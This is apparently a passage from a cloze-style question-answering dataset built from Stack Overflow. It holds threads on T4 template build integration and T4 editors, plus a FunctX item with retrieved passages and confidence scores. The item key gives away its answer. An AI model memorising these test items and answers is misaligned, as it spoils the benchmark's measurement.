understanding-t4-msbuild-integration .. . .. . from Oleg Sych s blog http : www.olegsych.com : .. . .. . Perfect This is what I want . Although his blog discusses VS2010 I have adopted it to VS2012 where applicable . I walked through each of his steps for implementing this . I installed Visual Studio SDK 2012 http : www.microsoft.com en-us download details.aspx id 30668 Visual Studio Visualization and Modeling SDK 2012 http : www.microsoft.com en-us download details.aspx id 30680 .. . .. . I started with using the Tangible T4 plug in but thinking there was a problem with that I used Oleg s T4 Toolbox Beta . Sadly with either I seemed to get the same results : an error with a build . I followed his instruction on his site and reread all the steps and parts . I have been researching for days and now my first post here . I am stuck . Thanks for looking.. . .. . .. . To recap : I get an error when I build in visual-studio-2012 or when I run the msbuild from the command-line but again not when I run Custom Tool or use the manual Transform All T4 Templates - Both of those work fine . Here is my t4template called s code.tt : .. . .. . Here is my .csproj file : .. . .. . Here is the error I see after running MSBuild from command-line : .. . .. . Can you see anything that I am doing which is causing the error and do you know how to fix it so I can use msbuild and not run into this error Comment : I agree with @weakish that the changes from AlexKM does not improve the question . changing text from I am to I m seems hardly worthy of being accepted as a necessary change . Why force me to speak in contractions And condemning the phrase Thanks in advance as Useless Info really I always thought expressing thanks was socially acceptable even here as I have done it before without reproach . Confused . : - Comment : Maybe I haven t read the whole thread carefully enough but wouldn t the solution be to switch to runtime t4 templates https : msdn.microsoft.com en-us library ee844259.aspx instead of design-time .. . Answer : There is a pro-feature in tangible T4 Editor called Transform On Build which allows you to mark a template as transform on build in solution explorers property grid . This will transform the template each time you build within Visual Studio not build-server . There your templates also have access to EnvDTE and other visual-studio variables . See : http : t4-editor.tangible-engineering.com blog transforming-t4-templates-on-build.html", "Question : I m interested in purchasing a full features T4 editor . I m looking at : .. . .. . Tangible T4 Editor Professional .. . Clarius Visual T4 Editor Professional .. . .. . They both have the same price tag 100 . Clarius product seems a bit more feature rich but is it really And if it is is it then more memory hungry as it s usual with rich Visual Studio plugins.. . What about Visual Studio support Additional player in this field .. . .. . There s also Devart s T4 editor http : visualstudiogallery.msdn.microsoft.com a42a8538-8d6e-491b-8097-5a8a00174d37 available since summer 2011 and it s free and support syntax-highlighting as well as intellisense . Comment : I used the freeware version of both one of them completely broke my VS . I suggest you test both . Comment : yes but the free community editions don t have all of the functionality of the Pro . Hence my question . Comment : I didn t have the same experience . I found the trial of both products to run quite well without any problems . Comment : Please vote connect.microsoft.com VisualStudio feedback details 565760 https : connect.microsoft.com VisualStudio feedback details 565760 please-take-pity-on-us-give-us-a-decent-t4-editor .. . Answer : I used the trial editions of both products for quite a while . The primary feature you gain in the professional edition of either product is IntelliSense . Tangible s free version does give some basic IntelliSense for a small subset of core assemblies but I did not find it very useful in writing my own templates . I realize there s a few other differences between the 2 different pro-versions but to me they aren t that important . Have a quick look at them and if they don t standout to you either then it s probably not that critical . As the key difference is IntelliSense I would still suggest that you start with a quick trial of both versions . They have surprisingly different feels about them so you will likely gravitate toward one or the other . If it helps think ReSharper vs CodeRush .. . .. . Personally I found Tangible s to have slightly more features along with more samples etc . Tangible also has things like UML diagrams etc but I didn t care much about that . However in the end I found Clarius s Editor to be more natural and comfortable for me quite possibly because I used it first several months before I found Tangible s .. . .. . Once you find you preference then decide if you want IntelliSense and pay for the upgrade . It s worth it if you find yourself doing much with T4 . As a small side note the advanced debugging features of Clarius in the pro-edition have been pretty useful on a couple occasions too . But overall the feel of one product over the other is a much more important factor in making a decision .", "Question : I m using Tangible s editor and no offense guys it sucks . Its one painful step above notepad . But its afaik the only game in town . Does anybody have any tips tricks on creating T4 templates in a non-painful way .. . .. . For instance I m thinking about creating a T4 Template that essentially turns a class defined in a solution into a template generator . DTE look for code that is marked with this or that attribute run this or that method and drop the results into a file . At least I d get legit intellisense out of the deal.. . Comment : Hah Nice play on the classics with that title . Comment : Yeah it s really annoying to get ProVersionOnly in the intellisense where a member name should be . Such intentionally broken software basically forces me to bar myself from ever contributing a single penny to their company or anyone associated with it . As one person said : It appears Tangible Engineering @tangibleeng has adopted a crack-dealer business model like other plug-in vendors . The FREE version doesn t support all of the C language . It does provide enough though for developers to decide if they need to to pay 99.98 USD for the PRO edition . .. . Answer : You could try Clarius Visual T4 Editor Community edition http : www.visualt4.com downloads.html Comment : Clarius editor sucks . Sorry to be harsh but it s not good at all . Nagware intellisense failures the search replace dialog is awful I could go on... . Also the T4 Toolbox is not an editor it is designed to support T4 development .", "Question : I m trying to use PGK.Extensions http : dnpextensions.codeplex.com in a T4 template in VS2008 for VB.NET and I get : .. . .. . RemoveAllSpecialCharacters is not a member of string. . .. . .. . My T4 headers : .. . .. . Use of extension in block code : .. . .. . RemoveAllSpecialCharacters is a string extension method from PGK.Extensions.dll . Can anybody help me EDITED : .. . .. . OK . It s : .. . .. . But this breaks DevArt T4 Editor intellisense and syntax highlight in VS2008 plugin . Use Tangible T4 Editor instead . .. . Answer : While an extension method appears from code to be applied on an object it is in fact compiled as a static method . This link http : msdn.microsoft.com fr-fr library bb384936.aspx from Microsoft will give you more info on that . So calling item.Name.RemoveAllSpecialCharacters is in fact compiled as StringExtensions .RemoveAllSpecialCharacters item.Name .. . .. . Therefore you could try writing not tested but should work : .. . .. . Hope that helps . Comment : Its works but this breaks the power of extension-methods . I found this link blogs.msdn.com b garethj archive 2008 10 30 http : blogs.msdn.com b garethj archive 2008 10 30 using-extension-methods-in-t4-templates.aspx and for the author works . Maybe C but not VB Comment : You can always ask MS to properly implement extension-methods in T4 templates : D .. . But I m afraid until then you have no other choice . Comment : And if you specify the version of VB.NET in your declaration Something like @ template language VBv9 debug true replacing v3.5 with the most recent version number of VB 9 or 10 I believe Does it work Comment : For 2008 is v9 . Tried VBv9 and VBv9.0 and it does t work . : Anyway I ll mark your answer as accepted . Thanks . Comment : Another option if you really want to use extension-methods that way is to write your T4 template in C but still have it output VB.Net code if you don t have any restrictions on the language .", "Question : Error Says .. . .. . I m missing ActiproSoftware.CSharpHostLanguage.xml from C : Users AppData Local assembly dl3 4WT9GZ6E.WD1 0CNLWRJ6.ODR 3f01d2db 26ba7213 ebf0cb01 and crashes when opening a .tt or .ttinclude file . I have visual-studio-2010-sp1 and windows-7 sp1 x86 32bit . Tangible T4 Editor is v1.950 . Any suggestions are welcome . Thanks . UPDATE : Latest build 1.962 fixes this issue . .. . Answer : That is really odd . The path specified does not belong to tangible t4 . There are two possible reasons for this : .. . .. . 1 . You are using some sort of Application Virtualisation - we have not yet tested the product with . 2 . You are using another product that uses actipro dlls and those were registed in other location and accidentaly loaded from there . I am not aware of any incompatabilites here : Product that use actirpo are Expression Web and Webmatrix as well as many other code generators and LinqPad . Comment : For those flagging as spam .. . this is the CEO offering help .. . nice guy Comment : if possible can you post the solution if found . So other people can benefit from this . And please remove the email if the call has been entered unless you want lots of spam . - . Comment : Clearing the spam flags here this is certainly not spam - and we appreciate the direct help Tim", "Question : I am trying to create a T4 Template for a custom controller with services . However I am having some issues setting things up . I currently use tangible free T4 tool editor and TextTemplatingFileGenerator as a Custom Tool . I am running into a couple issues when experimenting : .. . .. . 1 : I try using MvcTextTemplateHost mvcHost MvcTextTemplateHost Host and it says The type or namespace name MvcTextTemplateHost could not be found are you missing a using directive or an assembly reference . It says to clear the Custom tool but I was wondering how I can view the generated T4 file if I do clear the tool 2 : Another approach was Steve Sanderson s CustomTemplate but I am having issues there with the DynamicTransform not being found and was wondering where I can get the file needed to use it . If i need to clear the tool for this then how do I view a generated sample file Thank you very much . Max Gilman .. . .. . Some sample code : Comment : Can you post some simple template code that reproes your problem Comment : One way to see the code generated is to specify the custom tool : TextTemplatingFilePreprocessor Comment : If you can figure out where the DynamicTransform class is define you can reference that assembly in T4 like this : @ assembly name SolutionDir bin Debug TheDynamicTransformAssembly.dll .. . Answer : In both cases it looks like you are trying to use a T4 template in your Visual Studio project and use the TextTemplatingFileGenerator as the custom tool to generate the code from the template . 1 : The MvcTextTemplatingHost is a custom T4 host that is only available when you use the ASP.NET MVC Add View or Add Controller dialogs . It will not be available nor properly initialized when you use the TextTemplatingFileGenerator custom tool . 2 : Steve Sanderson s MvcScaffolding T4Scaffolding uses its own custom T4 host so you have a similar problem here . If you use the NuGet package manager console with your custom T4 scaffolding template then it should work but it will not work with the TextTemplatingFileGenerator custom tool . The DynamicTransform class itself does not exist . If you take a look at the T4Scaffolding source code http : mvcscaffolding.codeplex.com on CodePlex in the InvokeScaffoldTemplateCmdlet class you will see that the Inherits DynamicTransform directive is actually removed and replaced with a reference to a dynamic model object . When you scaffold a controller various properties e.g . such as Model.ModelType are setup on the custom host and the dynamic model object before it is passed to the T4 template for processing . In both the above cases the use of the T4 templates with the TextTemplatingFileGenerator is not going to work since they use a custom templating host that needs to be initialized before it can be used by the T4 templates . I think your options are : .. . .. . 1 . Create a custom ASP.NET MVC T4 template and use the ASP.NET tooling to generate your custom controller using the Add Controller dialog . 2 . Create a custom scaffolding T4 template and use the NuGet Package Manager console to generate your custom controller . 3 . Create your own custom tool that initializes a custom host that can be used from your T4 template . Option 2 is probably your best bet since I believe MvcScaffolding can update existing controller code without removing the existing code . Comment : thanks for the helpful answer . i appreciate it very much .", "Question : Error Says .. . .. . I m missing ActiproSoftware.CSharpHostLanguage.xml from C : Users AppData Local assembly dl3 4WT9GZ6E.WD1 0CNLWRJ6.ODR 3f01d2db 26ba7213 ebf0cb01 and crashes when opening a .tt or .ttinclude file . I have visual-studio-2010-sp1 and windows-7 sp1 x86 32bit . Tangible T4 Editor is v1.950 . Any suggestions are welcome . Thanks . UPDATE : Latest build 1.962 fixes this issue . .. . Answer : We did post a new build today that fixes the path to the install dir instead of taking the path relative to the assembly loaded . That should resolve the issue for anyone . Reason is still unkown why this happend on that box . Comment : The new build works great . Thanks so much for the quick help . Just an FYI I have many gallery addons installed for Visual Studio not sure if this could have caused the original issue but like I said the new build fixed it . Thanks again .", "Question : I m using VisualStudio Ultimate 2012 Update 1 on Windows 7 . I can get my T4 template to generate a file by : right-click tt file run Custom tool . That works great yay for me . It also works if I run the menu command : Build Transform All T4 Templates . But I want automation I run into a problem when I try to get the generated code file to be produced with every build -- which is my goal . I looked at this : T4 transformation and build order in Visual Studio http : stackoverflow.com questions 1293320 t4-transformation-and-build-order-in-visual-studio .. . .. . this isn t what I want . It discusses using a pre-build build event . I wanted it to be part of the build . and this : Is there a way to get Visual Studio to run Transform All Templates upon a successful build http : stackoverflow.com questions 3427079 is-there-a-way-to-get-visual-studio-to-run-transform-all-templates-upon-a-succ .. . .. . this isn t what I wanted either . It discusses using a post-build event . then I found this : Understanding T4 : MSBuild Integration http : www.olegsych.com 2010 04 understanding-t4-msbuild-integration .. . .. . from Oleg Sych s blog http : www.olegsych.com : .. . .. . Perfect This is what I want . Although his blog discusses VS2010 I have adopted it to VS2012 where applicable . I walked through each of his steps for implementing this . I installed Visual Studio SDK 2012 http : www.microsoft.com en-us download details.aspx id 30668 Visual Studio Visualization and Modeling SDK 2012 http : www.microsoft.com en-us download details.aspx id 30680 .. . .. . I started with using the Tangible T4 plug in but thinking there was a problem with that I used Oleg s T4 Toolbox Beta . Sadly with either I seemed to get the same results : an error with a build . I followed his instruction on his site and reread all the steps and parts . I have been researching for days and now my first post here . I am stuck . Thanks for looking.. . .. . .. . To recap : I get an error when I build in visual-studio-2012 or when I run the msbuild from the command-line but again not when I run Custom Tool or use the manual Transform All T4 Templates - Both of those work fine . Here is my t4template called s code.tt : .. . .. . Here is my .csproj file : .. . .. . Here is the error I see after running MSBuild from command-line : .. . .. . Can you see anything that I am doing which is causing the error and do you know how to fix it so I can use msbuild and not run into this error Comment : I agree with @weakish that the changes from AlexKM does not improve the question . changing text from I am to I m seems hardly worthy of being accepted as a necessary change . Why force me to speak in contractions And condemning the phrase Thanks in advance as Useless Info really I always thought expressing thanks was socially acceptable even here as I have done it before without reproach . Confused . : - Comment : Maybe I haven t read the whole thread carefully enough but wouldn t the solution be to switch to runtime t4 templates https : msdn.microsoft.com en-us library ee844259.aspx instead of design-time .. . Answer : One of our customers had exactly the same problem and GarethJ is correct that this can t be done out-of-the-box . However you can write your own TextTransform.exe tool which provides the Visual Studio Automation API to the templates pretty easily . All you need to do is implement the ITextTemplatingEngineHost https : msdn.microsoft.com en-us library microsoft.visualstudio.texttemplating.itexttemplatingenginehost 28v vs.110 29.aspx f 255 MSPPError -2147217396 and the IServiceProvider https : msdn.microsoft.com en-us library system.iserviceprovider 28v vs.110 29.aspx interfaces and returning an instance of the DTE https : msdn.microsoft.com en-us library envdte.dte.aspx interface when one is requested . That said : We wrote a Blog-Post http : blog.aitgmbh.de 2015 08 07 executing-text-transformation-toolkit-templates-t4-within-the-continuous-build-process about this scenario and published the Tool Source Code https : github.com AITGmbH VisualStudioTextTransform as well . One Note though : You need a properly licensed installation of Visual Studio on your build-server for this to work . matthid @ AIT", "Question : I m using VisualStudio Ultimate 2012 Update 1 on Windows 7 . I can get my T4 template to generate a file by : right-click tt file run Custom tool . That works great yay for me . It also works if I run the menu command : Build Transform All T4 Templates . But I want automation I run into a problem when I try to get the generated code file to be produced with every build -- which is my goal . I looked at this : T4 transformation and build order in Visual Studio http : stackoverflow.com questions 1293320 t4-transformation-and-build-order-in-visual-studio .. . .. . this isn t what I want . It discusses using a pre-build build event . I wanted it to be part of the build . and this : Is there a way to get Visual Studio to run Transform All Templates upon a successful build http : stackoverflow.com questions 3427079 is-there-a-way-to-get-visual-studio-to-run-transform-all-templates-upon-a-succ .. . .. . this isn t what I wanted either . It discusses using a post-build event . then I found this : Understanding T4 : MSBuild Integration http : www.olegsych.com 2010 04 understanding-t4-msbuild-integration .. . .. . from Oleg Sych s blog http : www.olegsych.com : .. . .. . Perfect This is what I want . Although his blog discusses VS2010 I have adopted it to VS2012 where applicable . I walked through each of his steps for implementing this . I installed Visual Studio SDK 2012 http : www.microsoft.com en-us download details.aspx id 30668 Visual Studio Visualization and Modeling SDK 2012 http : www.microsoft.com en-us download details.aspx id 30680 .. . .. . I started with using the Tangible T4 plug in but thinking there was a problem with that I used Oleg s T4 Toolbox Beta . Sadly with either I seemed to get the same results : an error with a build . I followed his instruction on his site and reread all the steps and parts . I have been researching for days and now my first post here . I am stuck . Thanks for looking.. . .. . .. . To recap : I get an error when I build in visual-studio-2012 or when I run the msbuild from the command-line but again not when I run Custom Tool or use the manual Transform All T4 Templates - Both of those work fine . Here is my t4template called s code.tt : .. . .. . Here is my .csproj file : .. . .. . Here is the error I see after running MSBuild from command-line : .. . .. . Can you see anything that I am doing which is causing the error and do you know how to fix it so I can use msbuild and not run into this error Comment : I agree with @weakish that the changes from AlexKM does not improve the question . changing text from I am to I m seems hardly worthy of being accepted as a necessary change . Why force me to speak in contractions And condemning the phrase Thanks in advance as Useless Info really I always thought expressing thanks was socially acceptable even here as I have done it before without reproach . Confused . : - Comment : Maybe I haven t read the whole thread carefully enough but wouldn t the solution be to switch to runtime t4 templates https : msdn.microsoft.com en-us library ee844259.aspx instead of design-time .. . Answer : I m afraid that you can t successfully run templates at build time that make use of the Host variable to get at IDE services like the DTE as the msbuild T4 host is designed to work both from the command-line as well as builds in the IDE and as such does not expose the global service provider or DTE to templates . The same is true from texttransform.exe the simple command-line host . Comment : ouch now that makes sense . I will need to rethink my approach . Thank you very much for the time you took to review my question and to provide a meaningful answer . Comment : I must suck at Googling because it took forever to find this straight-forward answer to this question . I wanted to run custom tool on T4MVC.tt in my ASP.NET MVC project on every build but any extension I found didn t work correctly for VS2012 i.e . AutoT4MVC would cause errors when removing a controller and then building and any pre-build solution I found was way too much trouble for something as simple as this should be . So I just decided to set a hotkey for Build.TransformAllT4Templates and will get in the habit of hitting Ctrl+Shift+T before Ctrl+Shift+B ." ] }
[ "yes-answer-long", "yes-answer-short" ]
toolkit
UNK_RELATION
functx@xquery@34
functx -- functx is a library of @placeholder and xlst functions .
{ "confidence": [ 55.36420822143555, 53.06927490234375, 43.01923751831055, 37.47862243652344, 36.05796432495117, 36.05796432495117, 34.91270446777344, 33.780311584472656, 33.00830841064453, 33.00830841064453, 31.970670700073242, 26.518211364746094, 21.674997329711914, 21.44399642944336, 21.153968811035156, 19.497549057006836, 17.582427978515625, 17.556554794311523, 17.517776489257812, 16.785810470581055, 16.298261642456055, 15.752190589904785, 15.576781272888184, 15.576781272888184, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.980185508728027, 14.630247116088867, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688, 13.000411987304688 ], "content": [ "That function is part of the FunctX XQuery library .", "I am making straightforward calls to some functions in the FunctX Library .", "Your mistake must be somewhere during importing the functx module .", "The library that I am using is at this URL-- .. . http : e0aad1ab954aa14b69e0-bd55729d8fadb0b3214bfee0a8fb65e0.r16.cf1.rackcdn.com functx-1.0.xq .. . .. . A section of the error-log is given below-- .. . .. . Now looking at the last error as shown above-- the line numbers for the duplicate function definition error in functx-1.0.xq are 2558 and 2554 .. . .. . The relevant code from the file functx-1.0.xq for lines 2554-2558 is now given below-- .. . .. . How do I resolve this error", ": .. . .. . import module namespace functx http : www.functx.com at functx-1.0-doc-2007-01.xq .. . .. . : Insert your code here and call the is-node-in-sequence-deep-equal function as seen below : .. . .. . functx : is-node-in-sequence-deep-equal node seq .. . .. . .. . 2 .", "@dirkk -- I did see one thing-- there is another xquery file that I am importing- and this file also imports the functx module for its own use -- how do I use the functx module directly in my code as well as import it within the second module which is also imported into my code", "From the fact that you mentioned using FunctX I concluded that you are using XSLT 2.0 .", "Now for some reason I am getting repeated duplicate function definition errors when I run this code-- this error is occurring for the Functx Xquery library which I downloaded from xqueryfunctions.com .", "I am using XQuery 1.0 and I included the namespace functx as shown in the example at : http : www.xqueryfunctions.com xq functx index-of-match-first.html .. . .. . But this is giving me an error : XPST0017 Unknown function functx : index-of-match-first .. . .", "I am using XQuery 1.0 and I included the namespace functx as shown in the example at : http : www.xqueryfunctions.com xq functx index-of-match-first.html .. . .. . But this is giving me an error : XPST0017 Unknown function functx : index-of-match-first .. . .", "Its a custom crawler and I cannot share the code -- however the section that is causing the error is invoking functx : pad-integer-to-length -- that is the only function from the functx library that this code is invoking-- also i ran the java code just before I added the functx function-call and it was running fine then....basically the function I have invoked adds some zeros to the beginning of a numeric value to increase the character-length of that numeric value.. .", "Instead of downloading the whole library with all functions you can also simply copy-paste the specific function which you need as shown on the page you linked to http : www.xqueryfunctions.com xq functx is-node-in-sequence-deep-equal.html : .. . .. . declare namespace functx http : www.functx.com .. . declare function functx : is-node-in-sequence-deep-equal .. . node as node", "Looks like they are reusable functions instead .", "Only the standard XQuery and XPath functions and operators http : www.w3.org TR xpath-functions are predefined in the language .", "Oh I thought these were pre-defined functions .", "@sony : It is a good practice to use the import module directive to import modules from existing libraries of functions", "You will also need to download the function library implementation and import it as shown .", "This corrected code : .. . .. . when applied on the provided XML document with several non-well-formedness errors corrected : .. . .. . produces the expected result : .. . .. . It is a good practice to use the import module http : www.w3.org TR xquery id-module-import directive to import modules from existing libraries of functions .", "Or you can just use fn : replace . . http : www.w3.org TR xpath-functions func-replace and a regular expression :", "Use .. . .. . That samples defines the schema namespace and binds it to the prefix xs defines the namespace of the function library you linked to .", "I am trying to run some Xquery code in a java program and I am using the Saxon free java library for this purpose .", "You download the whole library http : www.xqueryfunctions.com xq download.html select the download which corresponds to your version of XQuery save it in the same directory as your XQuery program file and then import the module in your XQuery file e.g .", "http : www.w3.org TR xpath-functions func-normalize-space to remove all additional whitespace : .. . .. . Summary : Returns the value of arg with whitespace normalized by stripping leading and trailing whitespace and replacing sequences of one or more than one whitespace character with a single space x20 .", "Given below is a section of the error log- it also mentions the line numbers for the duplicate functions -- however when I went to the 2 line numbers I saw that one line number corresponded to the start of that function while the other line number closed that function .", "I am trying to write an XQuery which would find all text nodes that contain a given key word in an xml file .", "The text node is long so I would like to return a substring of a desired length of the text starting at the matching key word .", "Samplefile.xml .. . .. . samplexquery.xq .. . .. . I expect to get the result linear systems linear system analysis .", "The title node of first book contains the word linear .", "Return 50 characters starting from linear... . .", "Similarly for the content node of first book .", "Thanks Sony", "Good question +1 .", "See my answer for an explanation and solution .", ":", "It is not sufficient to only declare the namespace .", "You must also have the code of the function .", "Thanks a lot :", "+1 Good answer .", "I found the following XQuery user-defined function in the O Reiily book XQuery and it is used to change the namespace of an XML file when it is printed : .. . .. . One example to call this function with is : .. . .. . returns : .. . .. . But what I ve got is : .. . .. . It appears that the original namespace is stripped but the new one has yet to be attached or is it simply that the processor doesn t print the namespace because the unaffected namespace declaration is also gone", "which processor are you using", "I tested your query on try.zorba-xquery.com http : try.zorba-xquery.com and it returns the correct result : text xmlns : pre pre pre : x xmlns : pre http : new pre : y 123 pre : y pre : x text .", "By the way : In your example not the namespace ist stripped only the prefix which is still correct in your example .", "Thx I m working on eXist and use its sandbox .", "I should ve tried it on other processors .", "The eXist Sandbox results window unfortunately does not display namespace attributes @xmlns .", "But if you save your query as an .xq file and run it via your browser you ll see it actually is preserving the namespace information properly .", "By the way the next generation version of the Sandbox called eXide does display namespace info somewhat better .", "See the demo of eXide at http : demo.exist-db.org exist eXide index.html .", "I have got a similar issue using a Saxon 9.3 implementation on OSB 11 .", "Strangely it works on Oxygen but it doesn t on OSB .", "I have a XSLT style sheet for transforming .", "In this I have to specify user defined function using xsl : function .", "When I am about to do this within this xsl : stylesheet xsl : stylesheet it throws an error .", "Here is the function :", "What error do you get", "Also tell us which XSLT processor you use as xsl : function is a new feature in XSLT 2.0 which is not supported in any XSLT 1.0 processor of course .", "So unless you use Saxon 9 or AltovaXML or XQSharp or the XSLT 2.0 processors IBM and Intel provide you can t use xsl : function .", "Downvoted the question : telling us there is an error without telling us what the error is is not helpful .", "The function defined in the question is syntactically correct and seems meaningful .", "Therefore the error is in the code that you forgot to show to us -- more specifically how this function is being used with what arguments .", "Apart from this there are obvious refactoring possibilities -- such as replacing the unnecessary string-join with concat .", "As @John Mitchell said telling us what the error is might be helpful .", "However I see you have the namespace declared on the function - make sure xmlns : functx http : www.functx.com is also declared in the xsl : stylesheet element at the top of your stylesheet .", "Another thing to check obviously is that you re entering your arguments correctly in the function-call : your first two parameters will need quotes but the third doesn t eg xsl : value-of select functx : pad-string-to-length boo - 12 .", "In case you are limited to XSLT 1.0 then it is reasonable to use extension functions EXSLT if available or your host programming language -- if not .", "Is is-node-in-sequence-deep-equal in XQuery", "I m wondering because I ve seen the function at xqueryfunctions.com http : www.xqueryfunctions.com xq functx is-node-in-sequence-deep-equal.html but I m not being able to use it .", "There are two methods to use this function : .. . .. . 1 .", ".. . seq as node as xs : boolean .. . .. . some nodeInSeq in seq satisfies deep-equal nodeInSeq node .. . .. . .. . : Insert your code here and call the is-node-in-sequence-deep-equal function as seen below : .. . .. . functx : is-node-in-sequence-deep-equal node seq .. . .. . .. . In both examples you simply replace node and seq with your variables .", "I m learning XSLT .", "These questions may be obvious but I m really stuck now .", "Oxygen returns the following two kind of errors : .. . .. . 1 .", "Namespace is not declared for ownFunction .", "undeclared namespace prefix xs .. . .. . 2 .", "unknown system function index-of-string .. . .. . The XSLT function index-of-string I got from this website http : www.xsltfunctions.com xsl functx index-of-string.html doesn t seems to be recognized .. . .. . This is a simplified version of the XSL file :", "See my answer for detailed explanation of the two problems and for their solutions .", "Oxygen returns the following two kind of errors : .. . .. . 1 Namespace is not declared for ownFunction .", "undeclared namespace prefix xs .. . .. . This is actually an XML issue .", "Any XSLT stylesheet myst be a well-formed XML document .", "Among other requirements for well-formedness any namespace prefix used must be bound to a namespace URI in a namespace declaration .", "To correct this bind the xs prefix to http : www.w3.org 2001 XMLSchema -- this means to add xmlns : xs http : www.w3.org 2001 XMLSchema to an element usually the top element is a good choice for this namespace .", "You have the same problem with foo : ownFunction .", "You must have the prefix foo bound defined and visible before using it .", "Just add xmlns : foo my : foo to the top element of your stylesheet .", "2 unknown system function index-of-string .", "The XSLT function index-of-string I got from this website doesn t seems to be recognized : http : www.xsltfunctions.com xsl functx index-of-string.html .. . .. . You have forgotten to either copy and paste the function from Priscilla Walmsley s site or to save it in a separate file recommended and then use xsl : import or xsl : include to import include this stylesheet file to your transformation .", "Finally such issues show that you need a more systematic introduction of XSLT .", "Get a good book and read it well .", "You won t be sorry .", "This answer http : stackoverflow.com questions 339930 any-good-xslt-tutorial-book-blog-site-online 341589 341589 may be useful in listing what I consider good XSLT and XPath learning resources .", "Thanks for the explanation", "I understand now", "@user737917 : You are welcome .", "Okay this make sense :", "Thanks a lot", "I added the namespace and imported the function and it works", "How do I remove a new-line return from the end of a variable", "I tried functx : substring-before-last to try and remove the new line denoting it as r n and also as r n but still when I output that variable s value the newline is still there in it .", "You can either use fn : normalize-space arg as xs : string" ] }
{ "confidence": [ 62.13848114013672, 57.52397918701172, 50.39589309692383, 42.619415283203125, 17.142807006835938, 15.940435409545898, 14.709770202636719, 14.709770202636719, 14.709770202636719, 14.709770202636719, 12.729829788208008, 12.729829788208008, 11.422459602355957, 11.422459602355957 ], "content": [ "Question : null .. . Answer : I am trying to run some Xquery code in a java program and I am using the Saxon free java library for this purpose . Now for some reason I am getting repeated duplicate function definition errors when I run this code-- this error is occurring for the Functx Xquery library which I downloaded from xqueryfunctions.com . I dont understand what is wrong here I am making straightforward calls to some functions in the FunctX Library . Given below is a section of the error log- it also mentions the line numbers for the duplicate functions -- however when I went to the 2 line numbers I saw that one line number corresponded to the start of that function while the other line number closed that function . The library that I am using is at this URL-- .. . http : e0aad1ab954aa14b69e0-bd55729d8fadb0b3214bfee0a8fb65e0.r16.cf1.rackcdn.com functx-1.0.xq .. . .. . A section of the error-log is given below-- .. . .. . Now looking at the last error as shown above-- the line numbers for the duplicate function definition error in functx-1.0.xq are 2558 and 2554 .. . .. . The relevant code from the file functx-1.0.xq for lines 2554-2558 is now given below-- .. . .. . How do I resolve this error Comment : Did you try to track down some short example code http : pscode.org sscce.html so we can reproduce the error Comment : @Ranon- do you mean the java code that I was running Its a custom crawler and I cannot share the code -- however the section that is causing the error is invoking functx : pad-integer-to-length -- that is the only function from the functx library that this code is invoking-- also i ran the java code just before I added the functx function-call and it was running fine then....basically the function I have invoked adds some zeros to the beginning of a numeric value to increase the character-length of that numeric value.. . Comment : Your mistake must be somewhere during importing the functx module . The module itself works fine I just checked . If you e.g . import this module twice such errors could occur . Or maybe you have a function of your own with the same name in this namespace . This is impossible to say as it depends on your Java code . The call of the function is not important as this is a static error and something goes wrong before . If you can not share the code it is impossible ro really help you . Comment : I m not looking for all your crawler code don t even want to read it . Did you try reducing your code to a minimal problem containing least possible java code Throw everything out which is irrelevant and share that code . Without some code how should anybody be able to help you Comment : @dirkk -- I did see one thing-- there is another xquery file that I am importing- and this file also imports the functx module for its own use -- how do I use the functx module directly in my code as well as import it within the second module which is also imported into my code Thanks... .", "Question : Is is-node-in-sequence-deep-equal in XQuery I m wondering because I ve seen the function at xqueryfunctions.com http : www.xqueryfunctions.com xq functx is-node-in-sequence-deep-equal.html but I m not being able to use it . .. . Answer : That function is part of the FunctX XQuery library . There are two methods to use this function : .. . .. . 1 . You download the whole library http : www.xqueryfunctions.com xq download.html select the download which corresponds to your version of XQuery save it in the same directory as your XQuery program file and then import the module in your XQuery file e.g . : .. . .. . import module namespace functx http : www.functx.com at functx-1.0-doc-2007-01.xq .. . .. . : Insert your code here and call the is-node-in-sequence-deep-equal function as seen below : .. . .. . functx : is-node-in-sequence-deep-equal node seq .. . .. . .. . 2 . Instead of downloading the whole library with all functions you can also simply copy-paste the specific function which you need as shown on the page you linked to http : www.xqueryfunctions.com xq functx is-node-in-sequence-deep-equal.html : .. . .. . declare namespace functx http : www.functx.com .. . declare function functx : is-node-in-sequence-deep-equal .. . node as node .. . seq as node as xs : boolean .. . .. . some nodeInSeq in seq satisfies deep-equal nodeInSeq node .. . .. . .. . : Insert your code here and call the is-node-in-sequence-deep-equal function as seen below : .. . .. . functx : is-node-in-sequence-deep-equal node seq .. . .. . .. . In both examples you simply replace node and seq with your variables .", "Question : I am trying to write an XQuery which would find all text nodes that contain a given key word in an xml file . The text node is long so I would like to return a substring of a desired length of the text starting at the matching key word . Samplefile.xml .. . .. . samplexquery.xq .. . .. . I expect to get the result linear systems linear system analysis . The title node of first book contains the word linear . Return 50 characters starting from linear... . . Similarly for the content node of first book . I am using XQuery 1.0 and I included the namespace functx as shown in the example at : http : www.xqueryfunctions.com xq functx index-of-match-first.html .. . .. . But this is giving me an error : XPST0017 Unknown function functx : index-of-match-first .. . . Thanks Sony Comment : Good question +1 . See my answer for an explanation and solution . : .. . Answer : I am using XQuery 1.0 and I included the namespace functx as shown in the example at : http : www.xqueryfunctions.com xq functx index-of-match-first.html .. . .. . But this is giving me an error : XPST0017 Unknown function functx : 